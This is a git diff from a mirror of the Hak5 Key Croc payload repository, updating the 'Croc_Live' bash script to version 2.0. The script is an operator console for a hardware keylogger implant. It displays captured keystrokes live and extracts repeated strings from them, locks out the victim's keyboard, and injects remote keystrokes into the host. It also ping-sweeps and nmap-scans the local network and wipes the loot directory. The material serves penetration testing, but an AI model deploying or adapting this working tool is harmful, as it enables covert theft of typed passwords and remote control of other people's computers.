mirror of
https://github.com/hak5/keycroc-payloads.git
synced 2026-04-02 00:18:41 +01:00
@@ -3,17 +3,631 @@
|
||||
# Title: Croc_Live
|
||||
# Description: Live keystrokes in real-time. It operates in the terminal environment ( bash udisk/tools/croc_live.sh )
|
||||
# Author: spywill
|
||||
# Version: 1.0
|
||||
# Version: 2.0
|
||||
# Category: Key Croc
|
||||
|
||||
echo -ne "\n\nPrevious keystrokes:\n\n"
|
||||
find . -type f -name "croc_char.log" -exec cat {} +
|
||||
|
||||
until [ -f loot/croc_char.log ]; do
|
||||
echo -ne "Waiting for keyboard activity\033[0K\r"
|
||||
# Variables define the source directory for loot files and the backup destination directory
|
||||
source_dir="/root/udisk/loot"
|
||||
backup_dir="/tmp/loot_backup"
|
||||
# Set the countdown time in seconds (lockout keyboard)
|
||||
countdown=60
|
||||
|
||||
# Variable display lines for separating output
|
||||
LINE=$(printf '%0.s=' {1..40})
|
||||
|
||||
# Function Lock and unlock Local keyboard with QUACK LOCK and QUACK UNLOCK
|
||||
function Lock_keyboard() {
|
||||
printf '\033[H\033[2J'
|
||||
QUACK LOCK
|
||||
# Loop to count down
|
||||
while [ $countdown -gt 0 ]; do
|
||||
# Print the countdown number and use carriage return to overwrite the line
|
||||
echo -ne "Local keyboard is lockout time remaining: $countdown\033[0K\r"
|
||||
((countdown--))
|
||||
sleep 1
|
||||
done
|
||||
QUACK UNLOCK
|
||||
echo -e "\nLocal Keyboard has been restored"
|
||||
}
|
||||
|
||||
# function for Breaking while loop [i] to reset counter
|
||||
reset_broken() {
|
||||
i=0
|
||||
broken=0
|
||||
break_script() {
|
||||
broken=1
|
||||
trap - SIGINT
|
||||
}
|
||||
trap break_script SIGINT
|
||||
}
|
||||
|
||||
# Function to display the main menu
|
||||
display_menu() {
|
||||
printf '\033[H\033[2J'
|
||||
echo "$LINE"
|
||||
echo " VER:2.0"
|
||||
echo " CROC LIVE $(date)"
|
||||
echo " $(uptime | awk -F' up |, ' '{print "up " $2 ", " $3}')"
|
||||
echo "$LINE"
|
||||
echo "1) Previous keystrokes"
|
||||
echo "2) Live keystrokes"
|
||||
echo "3) Clean log files"
|
||||
echo "4) Keyboard activity"
|
||||
echo "5) Network status"
|
||||
echo "6) Remote keyboard"
|
||||
echo "7) Keyboard Giggler"
|
||||
echo "8) Option 8"
|
||||
echo "0) Exit"
|
||||
echo "$LINE"
|
||||
echo -n "Choose an option (1-8): "
|
||||
}
|
||||
|
||||
# Function to display the submenu under Option 1
|
||||
display_submenu() {
|
||||
printf '\033[H\033[2J'
|
||||
echo "$LINE"
|
||||
echo " Previous keystrokes menu"
|
||||
echo "Characters in croc_char.log: $(find . -type f -name "croc_char.log" -exec cat {} + | wc -m)"
|
||||
echo "Keyboard: $(cat /tmp/mode)"
|
||||
echo "$LINE"
|
||||
echo "1) QUACK.log"
|
||||
echo "2) HOTPLUG.log"
|
||||
echo "3) ATTACKMODE.log"
|
||||
echo "4) CROC_RAW.log"
|
||||
echo "5) MATCHES.log"
|
||||
echo "6) CROC_CHAR.log"
|
||||
echo "7) FILTERED CROC_CHAR.log"
|
||||
echo "8) MATCH PATTERN"
|
||||
echo "9) MAIN MENU"
|
||||
echo "$LINE"
|
||||
echo -n "Choose an option (1-9): "
|
||||
}
|
||||
|
||||
# Function to handle Option 1 (view keystrokes logs)
|
||||
option_1() {
|
||||
# Function to process logs
|
||||
process_logs() {
|
||||
local log_name="$1"
|
||||
find . -type f -name "$log_name" -print0 | while IFS= read -r -d '' file; do
|
||||
echo -ne "File: $file\n"
|
||||
echo -ne "$log_name: $(wc -m < "$file") characters\n"
|
||||
cat "$file"
|
||||
echo -e "\n$LINE\n"
|
||||
sleep .5
|
||||
done
|
||||
}
|
||||
while true; do
|
||||
display_submenu
|
||||
read choice
|
||||
case $choice in
|
||||
1)
|
||||
echo "You selected QUACK.log"
|
||||
sleep 1
|
||||
process_logs "QUACK.log"
|
||||
;;
|
||||
2)
|
||||
echo "You selected hotplug.log"
|
||||
sleep 1
|
||||
process_logs "hotplug.log"
|
||||
;;
|
||||
3)
|
||||
echo "You selected attackmode.log"
|
||||
sleep 1
|
||||
process_logs "attackmode.log"
|
||||
;;
|
||||
4)
|
||||
echo "You selected croc_raw.log"
|
||||
sleep 1
|
||||
process_logs "croc_raw.log"
|
||||
;;
|
||||
5)
|
||||
echo "You selected matches.log"
|
||||
sleep 1
|
||||
process_logs "matches.log"
|
||||
;;
|
||||
6)
|
||||
echo "You selected croc_char.log"
|
||||
sleep 1
|
||||
process_logs "croc_char.log"
|
||||
;;
|
||||
7)
|
||||
echo "You selected Filtered croc_char.log"
|
||||
sleep 1
|
||||
# Find all files named "croc_char.log" in the current directory and subdirectories
|
||||
find . -type f -name "croc_char.log" -exec sed 's/\[[^]]*\]//g' {} +
|
||||
;;
|
||||
8)
|
||||
echo "You selected Match Pattern"
|
||||
sleep 1
|
||||
# Find "croc_char.log" files, remove text within square brackets
|
||||
# Extract substrings of length 3 to 16, count unique occurrences, and display those with more than 1 occurrence
|
||||
find . -type f -name "croc_char.log" -exec sed 's/\[[^]]*\]//g' {} + | \
|
||||
awk 'length($0) >= 3 {
|
||||
for(i=1; i<=length($0)-2; i++) {
|
||||
for(j=i+2; j<=length($0) && j-i+1<=16; j++) {
|
||||
print substr($0, i, j-i+1)
|
||||
}
|
||||
}
|
||||
}' | \
|
||||
sort | uniq -c | \
|
||||
awk '$1 > 1 {print $1, $2}' | \
|
||||
sort -nr
|
||||
;;
|
||||
9)
|
||||
echo "Back to the main menu"
|
||||
sleep 1
|
||||
break
|
||||
;;
|
||||
lock)
|
||||
echo "You selected lockout Local keyboard for $countdown mins."
|
||||
sleep 1
|
||||
Lock_keyboard
|
||||
;;
|
||||
[Ss])
|
||||
echo "ENTERING ATTACKMODE HID STORAGE."
|
||||
sleep 1
|
||||
ATTACKMODE HID STORAGE
|
||||
sleep 3
|
||||
;;
|
||||
[Hh])
|
||||
echo "ENTERING ATTACKMODE HID."
|
||||
sleep 1
|
||||
ATTACKMODE HID
|
||||
sleep 3
|
||||
;;
|
||||
*)
|
||||
echo "Invalid choice. Please select a valid option."
|
||||
sleep 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
# Function to handle Option 2 (tail -f loot/croc_char.log)
|
||||
option_2() {
|
||||
printf '\033[H\033[2J'
|
||||
# Trap Ctrl+C (SIGINT) and return to the main menu
|
||||
trap 'echo -e "\n\nYou have exited the log tail and returned to the main menu." && return' SIGINT
|
||||
echo "Starting to tail the log file: loot/croc_char.log."
|
||||
echo "Press [Ctrl+C] to stop and return to the main menu."
|
||||
echo -e "\nWaiting for keyboard activity..."
|
||||
sleep 1
|
||||
WAIT_FOR_KEYBOARD_ACTIVITY 0
|
||||
# Run the tail command and wait for user to exit using Ctrl+C
|
||||
tail -f loot/croc_char.log
|
||||
# Untrap the signal after tail command ends
|
||||
trap - SIGINT
|
||||
}
|
||||
|
||||
# Function to handle Option 3 to back up the "udisk/loot" directory to "/tmp/loot_backup" and clean it
|
||||
option_3() {
|
||||
printf '\033[H\033[2J'
|
||||
echo -e "Loot directory\n"
|
||||
sleep 1
|
||||
cd loot && ls -la
|
||||
read -p 'BACKUP & CLEAN KEY CROC KEYSTROKE FILES Y/N' user_input
|
||||
case "$user_input" in
|
||||
[yY] | [yY][eE][sS])
|
||||
# Check if the source directory exists
|
||||
if [ ! -d "$source_dir" ]; then
|
||||
echo "Error: Source directory $source_dir does not exist."
|
||||
read -p "Press [Enter] to continue..."
|
||||
return
|
||||
fi
|
||||
# Create the backup directory if it does not exist
|
||||
if [ ! -d "$backup_dir" ]; then
|
||||
echo "Creating backup directory $backup_dir..."
|
||||
mkdir -p "$backup_dir"
|
||||
fi
|
||||
# Copy the entire contents of the "udisk/loot" directory to the backup directory
|
||||
echo "Backing up $source_dir to $backup_dir..."
|
||||
cp -r "$source_dir"/* "$backup_dir"
|
||||
# Check if the copy was successful
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Backup successful!"
|
||||
# Clean (delete) all files and subdirectories inside "udisk/loot"
|
||||
echo "Cleaning up the $source_dir directory..."
|
||||
rm -rf "$source_dir"/*
|
||||
# Check if the clean-up was successful
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Clean-up successful! All files in $source_dir have been deleted."
|
||||
else
|
||||
echo "Failed to clean the $source_dir directory."
|
||||
fi
|
||||
else
|
||||
echo "Backup failed. No files were copied."
|
||||
fi
|
||||
read -p "Press [Enter] to continue..."
|
||||
;;
|
||||
[nN] | [nN][oO])
|
||||
echo -e "Returned to the main menu."
|
||||
sleep 1
|
||||
;;
|
||||
*)
|
||||
echo "Invalid choice. Please select a valid option."
|
||||
sleep 1
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Function to handle Option 4 (View Keyboard activity)
|
||||
option_4() {
|
||||
printf '\033[H\033[2J'
|
||||
echo "You selected view Keyboard activity"
|
||||
echo "Press [Ctrl+C] to stop and return to the main menu."
|
||||
sleep 1
|
||||
reset_broken
|
||||
while [ "$broken" -eq 1 ] && break || WAIT_FOR_KEYBOARD_ACTIVITY 0; do
|
||||
echo -ne "KEYBOARD ACTIVE COUNT: $((i++)) \033[0K\r"
|
||||
sleep 1
|
||||
done &
|
||||
while [ "$broken" -eq 1 ] && break || WAIT_FOR_KEYBOARD_INACTIVITY 1; do
|
||||
echo -ne "KEYBOARD INACTIVE COUNT: $((i++)) \033[0K\r"
|
||||
sleep 1
|
||||
done
|
||||
}
|
||||
|
||||
# Function to handle Option 5 (network connection status)
|
||||
option_5() {
|
||||
printf '\033[H\033[2J'
|
||||
echo "You selected network status"
|
||||
echo "Press [Ctrl+C] to stop and return to the main menu."
|
||||
echo "Network check started..."
|
||||
sleep 1
|
||||
# Get network status by pinging google.com
|
||||
ping -c 1 google.com &> /dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
# Get the local IP address of the main interface
|
||||
LOCAL_IP=$(ip addr show | grep 'inet ' | grep -v '127.0.0.1' | awk '{print $2}' | cut -d/ -f1)
|
||||
# Get the MAC address of the first network interface
|
||||
MAC_ADDR=$(ip link show | grep -m 1 -E "ether" | awk '{print $2}')
|
||||
# Get the public IP address using an external service
|
||||
PUBLIC_IP=$(curl -s https://icanhazip.com/)
|
||||
# Extract the subnet from the local IP address (taking the first three octets)
|
||||
SUBNET=$(echo $LOCAL_IP | cut -d. -f1,2,3)
|
||||
# Create an array to store reachable IPs
|
||||
reachable_ips=()
|
||||
echo -e "\n$LINE\n"
|
||||
echo -e "$(date)\n"
|
||||
echo "Network is up"
|
||||
echo "Local Hostname: $(hostname)"
|
||||
echo "Local IP: $(hostname -I)"
|
||||
echo "MAC Address: $MAC_ADDR"
|
||||
echo "Public IP: $PUBLIC_IP"
|
||||
echo -e "\n$LINE\n"
|
||||
iw dev wlan0 link
|
||||
echo -e "\n$LINE\n"
|
||||
grep nameserver /etc/resolv.conf
|
||||
echo -e "\n$LINE\n"
|
||||
route -n
|
||||
echo -e "\n$LINE\n"
|
||||
netstat -tulna
|
||||
echo -e "\n$LINE\n"
|
||||
traceroute google.com
|
||||
echo -e "\n$LINE\n"
|
||||
curl -Lsf --connect-timeout 2 --max-time 2 -v --write-out "\nHTTP Code: %{http_code}\nTime: %{time_total}s\n" http://ip-api.com/json
|
||||
echo -e "\n$LINE\n"
|
||||
# Scan for reachable IPs in the local network and their MAC addresses
|
||||
echo "Scanning local network for reachable IPs in subnet $SUBNET..."
|
||||
for i in {1..254}; do
|
||||
# Ping each IP in the subnet
|
||||
ping -c 1 -W 1 $SUBNET.$i &> /dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
# If reachable, resolve the IP to a hostname using getent
|
||||
HOSTNAME=$(getent hosts $SUBNET.$i | awk '{print $2}')
|
||||
# If reachable, get the MAC address using arp
|
||||
MAC=$(arp -n $SUBNET.$i | grep -i $SUBNET.$i | awk '{print $3}')
|
||||
if [ -z "$HOSTNAME" ]; then
|
||||
# If no hostname is found, just print the IP
|
||||
HOSTNAME="No hostname found"
|
||||
fi
|
||||
echo "$SUBNET.$i is reachable, MAC Address: $MAC, Hostname: $HOSTNAME"
|
||||
# Add the reachable IP to the list
|
||||
reachable_ips+=($SUBNET.$i)
|
||||
fi
|
||||
done
|
||||
# Run an Nmap scan on each reachable IP
|
||||
echo -e "\n$LINE\n"
|
||||
for ip in "${reachable_ips[@]}"; do
|
||||
echo -e "\nRunning Nmap scan on $ip...\n"
|
||||
nmap -sV -T4 -O -F $ip
|
||||
echo -e "\n$LINE\n"
|
||||
done
|
||||
# Capture network traffic on interface wlan0, with concise output (-q) tcpdump
|
||||
#tcpdump -n -i wlan0 -tttt -q
|
||||
else
|
||||
echo -e "\n$(date)"
|
||||
echo "Network is down"
|
||||
sleep 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to handle Option 6 (Remote keyboard)
|
||||
option_6() {
|
||||
printf '\033[H\033[2J'
|
||||
echo -e "You selected Remote keyboard\n"
|
||||
sleep 1
|
||||
echo -e "Enter keystrokes from remote device\nENSURE YOU ARE RUNNING IN A REMOTE TERMINAL BEFORE STARTING!\n"
|
||||
read -p 'Start Remote keyboard Y/N' user_input
|
||||
case "$user_input" in
|
||||
[yY] | [yY][eE][sS])
|
||||
QUACK LOCK
|
||||
sleep 1
|
||||
echo -ne "\nNOTE: Not all keystroke entry are working at the moment\n
|
||||
**Local keyboard will be lockout**\n
|
||||
-Alternet keystrokes entry\n
|
||||
-Press ALT-i will execute QUACK GUI i
|
||||
-Press ALT-x will execute QUACK GUI x
|
||||
-Press ALT-0 will execute QUACK GUI
|
||||
-Press ALT-4 will execute QUACK ALT-F4
|
||||
-Press ALT-5 will execute QUACK GUI r
|
||||
-Press ALT-6 will execute QUACK GUI d
|
||||
-Press ALT-7 will execute QUACK GUI l
|
||||
-Press ALT-8 will execute QUACK CONTROL-ALT-d
|
||||
-Press ALT-9 will execute QUACK CONTROL-ALT-t
|
||||
-Press ALT-z will execute QUACK CONTROL-z
|
||||
-Press ALT-c will execute QUACK ALT-SPACE ; Q c
|
||||
-Press ALT-s will execute QUACK ALT-SPACE
|
||||
-Press ALT-n will execute QUACK NUMLOCK
|
||||
-Press ALT-l will execute QUACK CAPSLOCK
|
||||
-Press ALT-p will execute QUACK PRINTSCREEN
|
||||
-Press ALT-u will execute QUACK UNLOCK (local keyboard)
|
||||
-Press ALT-o will execute QUACK LOCK (local keyboard)
|
||||
-Press ALT-SHIFT-T will execute QUACK ALT-TAB
|
||||
-Press ALT-SHIFT-E will execute QUACK ALT-ESCAPE
|
||||
-Press CTRL-t will execute QUACK CONTROL-TAB
|
||||
-Press F2 to return back to menu\n"
|
||||
echo -e "\n\tKEYCROC REMOTE KEYBOARD ENTER KEYSTROKES HERE\n\n"
|
||||
trap ctrl_c SIGINT
|
||||
stty -echo
|
||||
declare -a fnkey
|
||||
for x in {1..12}; do
|
||||
raw="$(tput kf"$x" | cat -A)"
|
||||
fnkey["$x"]="${raw#^[}"
|
||||
done
|
||||
read_key_press() {
|
||||
if IFS= read -r -n 1 key_press; then
|
||||
while read -N 1 -t 0.001; do
|
||||
key_press+="$REPLY"
|
||||
done
|
||||
printf -v key_code "%d" "'$key_press"
|
||||
fi
|
||||
}
|
||||
while read_key_press; do
|
||||
ctrl_c() {
|
||||
QUACK CONTROL-c ; echo -ne " CTRL-C "
|
||||
}
|
||||
case "$key_press" in
|
||||
$'\e'"${fnkey[1]}") QUACK F1 ; echo -ne " F1 " ;;
|
||||
$'\e'"${fnkey[2]}") QUACK F2 ; echo -ne " F2 \n\nYou have exited returned to the main menu" ; QUACK UNLOCK ; trap - SIGINT ; stty echo ; break ;;
|
||||
$'\e'"${fnkey[3]}") QUACK F3 ; echo -ne " F3 " ;;
|
||||
$'\e'"${fnkey[4]}") QUACK F4 ; echo -ne " F4 " ;;
|
||||
$'\e'"${fnkey[5]}") QUACK F5 ; echo -ne " F5 " ;;
|
||||
$'\e'"${fnkey[6]}") QUACK F6 ; echo -ne " F6 " ;;
|
||||
$'\e'"${fnkey[7]}") QUACK F7 ; echo -ne " F7 " ;;
|
||||
$'\e'"${fnkey[8]}") QUACK F8 ; echo -ne " F8 " ;;
|
||||
$'\e'"${fnkey[9]}") QUACK F9 ; echo -ne " F9 " ;;
|
||||
$'\e'"${fnkey[10]}") QUACK F10 ; echo -ne " F10 " ;;
|
||||
$'\e'"${fnkey[11]}") QUACK F11 ; echo -ne " F11 " ;;
|
||||
$'\e'"${fnkey[12]}") QUACK F12 ; echo -ne " F12 " ;;
|
||||
$'\E[1;2P') QUACK SHIFT-F1 ; echo -ne " SHIFT-F1 " ;;
|
||||
$'\E[1;2Q') QUACK SHIFT-F2 ; echo -ne " SHIFT-F2 " ;;
|
||||
$'\E[1;2R') QUACK SHIFT-F3 ; echo -ne " SHIFT-F3 " ;;
|
||||
$'\E[1;2S') QUACK SHIFT-F4 ; echo -ne " SHIFT-F4 " ;;
|
||||
$'\E[15;2~') QUACK SHIFT-F5 ; echo -ne " SHIFT-F5 " ;;
|
||||
$'\E[17;2~') QUACK SHIFT-F6 ; echo -ne " SHIFT-F6 " ;;
|
||||
$'\E[18;2~') QUACK SHIFT-F7 ; echo -ne " SHIFT-F7 " ;;
|
||||
$'\E[19;2~') QUACK SHIFT-F8 ; echo -ne " SHIFT-F8 " ;;
|
||||
$'\E[20;2~') QUACK SHIFT-F9 ; echo -ne " SHIFT-F9 " ;;
|
||||
$'\E[21;2~') QUACK SHIFT-F10 ; echo -ne " SHIFT-F10 " ;;
|
||||
$'\E[23;2~') QUACK SHIFT-F11 ; echo -ne " SHIFT-F11 " ;;
|
||||
$'\E[24;2~') QUACK SHIFT-F12 ; echo -ne " SHIFT-F12 " ;;
|
||||
$'\e[Z') QUACK SHIFT-TAB ; echo -ne " SHIFT-TAB " ;;
|
||||
$'\el') QUACK CAPSLOCK ; echo -ne " CAPSLOCK " ;;
|
||||
$'\es') QUACK ALT-SPACE ; echo -ne " ALT-SPACE " ;;
|
||||
$'\en') QUACK NUMLOCK ; echo -ne " NUMLOCK " ;;
|
||||
$'\ep') QUACK PRINTSCREEN ; echo -ne " PRINTSCREEN " ;;
|
||||
$'\e[5~') QUACK KEYCODE 00,00,4b ; echo -ne " PAGEUP " ;;
|
||||
$'\e[6~') QUACK PAGEDOWN ; echo -ne " PAGEDOWN " ;;
|
||||
$'\e[2~') QUACK INSERT ; echo -ne " INSERT " ;;
|
||||
$'\e[3~') QUACK DELETE ; echo -ne " DELETE " ;;
|
||||
$'\t') QUACK TAB ; echo -ne " TAB " ;;
|
||||
$'\e[F') QUACK END ; echo -ne " END " ;;
|
||||
$'\e[H') QUACK HOME ; echo -ne " HOME " ;;
|
||||
$'\033') QUACK ESCAPE ; echo -ne " ESC " ;;
|
||||
$'\E[A') QUACK UPARROW ; echo -ne " UPARROW " ;;
|
||||
$'\E[B') QUACK DOWNARROW ; echo -ne " DOWNARROW " ;;
|
||||
$'\E[D') QUACK LEFTARROW ; echo -ne " LEFTARROW " ;;
|
||||
$'\E[C') QUACK RIGHTARROW ; echo -ne " RIGHTARROW " ;;
|
||||
$'\e8') QUACK CONTROL-ALT-d ; echo -ne " CTRL-ALT-D " ;;
|
||||
$'\e9') QUACK CONTROL-ALT-t ; echo -ne " CTRL-ALT-T " ;;
|
||||
$'\ez') QUACK CONTROL-z ; echo -ne " CTRL-Z " ;;
|
||||
$'\177') QUACK BACKSPACE ; echo -ne "\b \b" ;;
|
||||
$'\x20') QUACK KEYCODE 00,00,2c ; echo -ne " " ;;
|
||||
$'\ex') QUACK GUI x ; echo -ne " GUI-X " ;;
|
||||
$'\e5') QUACK GUI r ; echo -ne " GUI-R " ;;
|
||||
$'\e6') QUACK GUI d ; echo -ne " GUI-D " ;;
|
||||
$'\e7') QUACK GUI l ; echo -ne " GUI-L " ;;
|
||||
$'\ei') QUACK GUI i ; echo -ne " GUI-I " ;;
|
||||
$'\e0') QUACK GUI ; echo -ne " GUI " ;;
|
||||
$'\e1') QUACK ALT-1 ; echo -ne " ALT-1 " ;;
|
||||
$'\e2') QUACK ALT-2 ; echo -ne " ALT-2 " ;;
|
||||
$'\e3') QUACK ALT-3 ; echo -ne " ALT-3 " ;;
|
||||
$'\e4') QUACK ALT-F4 ; echo -ne " ALT-F4 " ;;
|
||||
$'\e.') QUACK ALT-. ; echo -ne " ALT-. " ;;
|
||||
$'\ea') QUACK ALT-a ; echo -ne " ALT-A " ;;
|
||||
$'\eb') QUACK ALT-b ; echo -ne " ALT-B " ;;
|
||||
$'\ec') QUACK ALT-SPACE ; Q c ; echo -ne " ALT-SPACE-C " ;;
|
||||
$'\ed') QUACK ALT-d ; echo -ne " ALT-D " ;;
|
||||
$'\ee') QUACK ALT-e ; echo -ne " ALT-E " ;;
|
||||
$'\ef') QUACK ALT-f ; echo -ne " ALT-F " ;;
|
||||
$'\eg') QUACK ALT-g ; echo -ne " ALT-G " ;;
|
||||
$'\eh') QUACK ALT-h ; echo -ne " ALT-H " ;;
|
||||
$'\ej') QUACK ALT-j ; echo -ne " ALT-J " ;;
|
||||
$'\ek') QUACK ALT-k ; echo -ne " ALT-K " ;;
|
||||
$'\eu') QUACK UNLOCK ; echo -ne " Unlocking Local keyboard " ;;
|
||||
$'\eo') QUACK LOCK ; echo -ne " Locking Local keyboard " ;;
|
||||
$'\et') QUACK ALT-t ; echo -ne " ALT-t " ;;
|
||||
$'\ev') QUACK ALT-v ; echo -ne " ALT-V " ;;
|
||||
$'\ey') QUACK ALT-y ; echo -ne " ALT-Y " ;;
|
||||
$'\eA') QUACK ALT-SHIFT-a ; echo -ne " ALT-SHIFT-A " ;;
|
||||
$'\eB') QUACK ALT-SHIFT-b ; echo -ne " ALT-SHIFT-B " ;;
|
||||
$'\eC') QUACK ALT-SHIFT-c ; echo -ne " ALT-SHIFT-C " ;;
|
||||
$'\eD') QUACK ALT-SHIFT-d ; echo -ne " ALT-SHIFT-D " ;;
|
||||
$'\eE') QUACK ALT-ESCAPE ; echo -ne " ALT-ESC " ;;
|
||||
$'\eF') QUACK ALT-SHIFT-f ; echo -ne " ALT-SHIFT-F " ;;
|
||||
$'\eP') QUACK ALT-SHIFT-p ; echo -ne " ALT-SHIFT-P " ;;
|
||||
$'\eW') QUACK ALT-SHIFT-w ; echo -ne " ALT-SHIFT-W " ;;
|
||||
$'\eL') QUACK ALT-SHIFT-l ; echo -ne " ALT-SHIFT-L " ;;
|
||||
$'\eT') QUACK ALT-TAB ; echo -ne " ALT-TAB " ;;
|
||||
$'\e[1;3P') QUACK ALT-F1 ; echo -ne " ALT-F1 " ;;
|
||||
$'\e[1;3Q') QUACK ALT-F2 ; echo -ne " ALT-F2 " ;;
|
||||
$'\e[1;3R') QUACK ALT-F3 ; echo -ne " ALT-F3 " ;;
|
||||
$'\e[1;3S') QUACK ALT-F4 ; echo -ne " ALT-F4 " ;;
|
||||
$'\e[15;3~') QUACK ALT-F5 ; echo -ne " ALT-F5 " ;;
|
||||
$'\e[17;3~') QUACK ALT-F6 ; echo -ne " ALT-F6 " ;;
|
||||
$'\e[18;3~') QUACK ALT-F7 ; echo -ne " ALT-F7 " ;;
|
||||
$'\e[19;3~') QUACK ALT-F8 ; echo -ne " ALT-F8 " ;;
|
||||
$'\e[20;3~') QUACK ALT-F9 ; echo -ne " ALT-F9 " ;;
|
||||
$'\e[21;3~') QUACK ALT-F10 ; echo -ne " ALT-F10 " ;;
|
||||
$'\e[23;3~') QUACK ALT-F11 ; echo -ne " ALT-F11 " ;;
|
||||
$'\e[24;3~') QUACK ALT-F12 ; echo -ne " ALT-F12 " ;;
|
||||
$'\e[1;3A') QUACK ALT-UPARROW ; echo -ne " ALT-UPARROW " ;;
|
||||
$'\e[1;3B') QUACK ALT-DOWNARROW ; echo -ne " ALT-DOWNARROW " ;;
|
||||
$'\e[1;3C') QUACK ALT-RIGHTARROW ; echo -ne " ALT-RIGHTARROW " ;;
|
||||
$'\e[1;3D') QUACK ALT-LEFTARROW ; echo -ne " ALT-LEFTARROW " ;;
|
||||
$'\e[1;6A') QUACK CONTROL-SHIFT-UPARROW ; echo -ne " CTRL-SHIFT-UPARROW " ;;
|
||||
$'\e[1;6B') QUACK CONTROL-SHIFT-DOWNARROW ; echo -ne " CTRL-SHIFT-DOWNARROW " ;;
|
||||
$'\e[1;6C') QUACK CONTROL-SHIFT-RIGHTARROW ; echo -ne " CTRL-SHIFT-RIGHTARROW " ;;
|
||||
$'\e[1;6D') QUACK CONTROL-SHIFT-LEFTARROW ; echo -ne " CTRL-SHIFT-LEFTARROW " ;;
|
||||
$'\e[1;5A') QUACK CONTROL-UPARROW ; echo -ne " CTRL-UPARROW " ;;
|
||||
$'\e[1;5B') QUACK CONTROL-DOWNARROW ; echo -ne " CTRL-DOWNARROW " ;;
|
||||
$'\e[1;5C') QUACK CONTROL-RIGHTARROW ; echo -ne " CTRL-RIGHTARROW " ;;
|
||||
$'\e[1;5D') QUACK CONTROL-LEFTARROW ; echo -ne " CTRL-LEFTARROW " ;;
|
||||
$'\e[1;2A') QUACK SHIFT-UPARROW ; echo -ne " SHIFT-UPARROW " ;;
|
||||
$'\e[1;2B') QUACK SHIFT-DOWNARROW ; echo -ne " SHIFT-DOWNARROW " ;;
|
||||
$'\e[1;2C') QUACK SHIFT-RIGHTARROW ; echo -ne " SHIFT-RIGHTARROW " ;;
|
||||
$'\e[1;2D') QUACK SHIFT-LEFTARROW ; echo -ne " SHIFT-LEFTARROW " ;;
|
||||
$'\0') QUACK ENTER ; echo -ne " ENTER \n" ;;
|
||||
[[:graph:]]) QUACK STRING "$key_press" ; echo -ne "$key_press" ;;
|
||||
*)
|
||||
case "$key_code" in
|
||||
1) QUACK CONTROL-a ; echo -ne " CTRL-A " ;;
|
||||
2) QUACK CONTROL-b ; echo -ne " CTRL-B " ;;
|
||||
4) QUACK CONTROL-d ; echo -ne " CTRL-D " ;;
|
||||
5) QUACK CONTROL-e ; echo -ne " CTRL-E " ;;
|
||||
6) QUACK CONTROL-f ; echo -ne " CTRL-F " ;;
|
||||
7) QUACK CONTROL-g ; echo -ne " CTRL-G " ;;
|
||||
8) QUACK CONTROL-h ; echo -ne " CTRL-H " ;;
|
||||
10) QUACK CONTROL-j ; echo -ne " CTRL-J " ;;
|
||||
11) QUACK CONTROL-k ; echo -ne " CTRL-K " ;;
|
||||
12) QUACK CONTROL-l ; echo -ne " CTRL-L " ;;
|
||||
13) QUACK CONTROL-m ; echo -ne " CTRL-M " ;;
|
||||
14) QUACK CONTROL-n ; echo -ne " CTRL-N " ;;
|
||||
15) QUACK CONTROL-o ; echo -ne " CTRL-O " ;;
|
||||
16) QUACK CONTROL-p ; echo -ne " CTRL-P " ;;
|
||||
17) QUACK CONTROL-q ; echo -ne " CTRL-Q " ;;
|
||||
18) QUACK CONTROL-r ; echo -ne " CTRL-R " ;;
|
||||
19) QUACK CONTROL-s ; echo -ne " CTRL-S " ;;
|
||||
20) QUACK CONTROL-TAB ; echo -ne " CTRL-TAB " ;;
|
||||
21) QUACK CONTROL-u ; echo -ne " CTRL-U " ;;
|
||||
22) QUACK CONTROL-v ; echo -ne " CTRL-V " ;;
|
||||
23) QUACK CONTROL-w ; echo -ne " CTRL-W " ;;
|
||||
24) QUACK CONTROL-x ; echo -ne " CTRL-X " ;;
|
||||
25) QUACK CONTROL-y ; echo -ne " CTRL-Y " ;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
done
|
||||
;;
|
||||
[nN] | [nN][oO])
|
||||
echo -e "Returned to the main menu."
|
||||
sleep 1
|
||||
;;
|
||||
*)
|
||||
echo "Invalid choice. Please select a valid option."
|
||||
sleep 1
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Function to handle Option 7 (Keyboard Giggler)
|
||||
option_7() {
|
||||
printf '\033[H\033[2J'
|
||||
echo "You selected Option 7 Keyboard Giggler"
|
||||
echo "Prevent pc going to sleep."
|
||||
echo "Press [Ctrl+C] to stop and return to the main menu."
|
||||
echo "QUACK spacebar every 60 sec and then backspace."
|
||||
sleep 1
|
||||
reset_broken
|
||||
while [ "$broken" -eq 1 ] && break || WAIT_FOR_KEYBOARD_INACTIVITY 60; do
|
||||
QUACK KEYCODE 00,00,2c
|
||||
QUACK BACKSPACE
|
||||
(( i++ ))
|
||||
echo -ne "Keyboard Giggler is running COUNT: $i\033[0K\r"
|
||||
done
|
||||
}
|
||||
|
||||
# Function to handle Option 8
|
||||
option_8() {
|
||||
echo "You selected Option 8"
|
||||
sleep 1
|
||||
}
|
||||
|
||||
# Main script loop
|
||||
while true; do
|
||||
display_menu
|
||||
read choice
|
||||
case $choice in
|
||||
1)
|
||||
option_1
|
||||
;;
|
||||
2)
|
||||
option_2
|
||||
;;
|
||||
3)
|
||||
option_3
|
||||
;;
|
||||
4)
|
||||
option_4 ; reset_broken
|
||||
;;
|
||||
5)
|
||||
option_5
|
||||
;;
|
||||
6)
|
||||
option_6
|
||||
;;
|
||||
7)
|
||||
option_7 ; reset_broken
|
||||
;;
|
||||
8)
|
||||
option_8
|
||||
;;
|
||||
0)
|
||||
echo "Exiting..."
|
||||
break
|
||||
;;
|
||||
lock)
|
||||
echo "You selected lockout Local keyboard for $countdown mins."
|
||||
sleep 1
|
||||
Lock_keyboard
|
||||
;;
|
||||
[Ss])
|
||||
echo "ENTERING ATTACKMODE HID STORAGE."
|
||||
sleep 1
|
||||
ATTACKMODE HID STORAGE
|
||||
sleep 3
|
||||
;;
|
||||
[Hh])
|
||||
echo "ENTERING ATTACKMODE HID."
|
||||
sleep 1
|
||||
ATTACKMODE HID
|
||||
sleep 3
|
||||
;;
|
||||
*)
|
||||
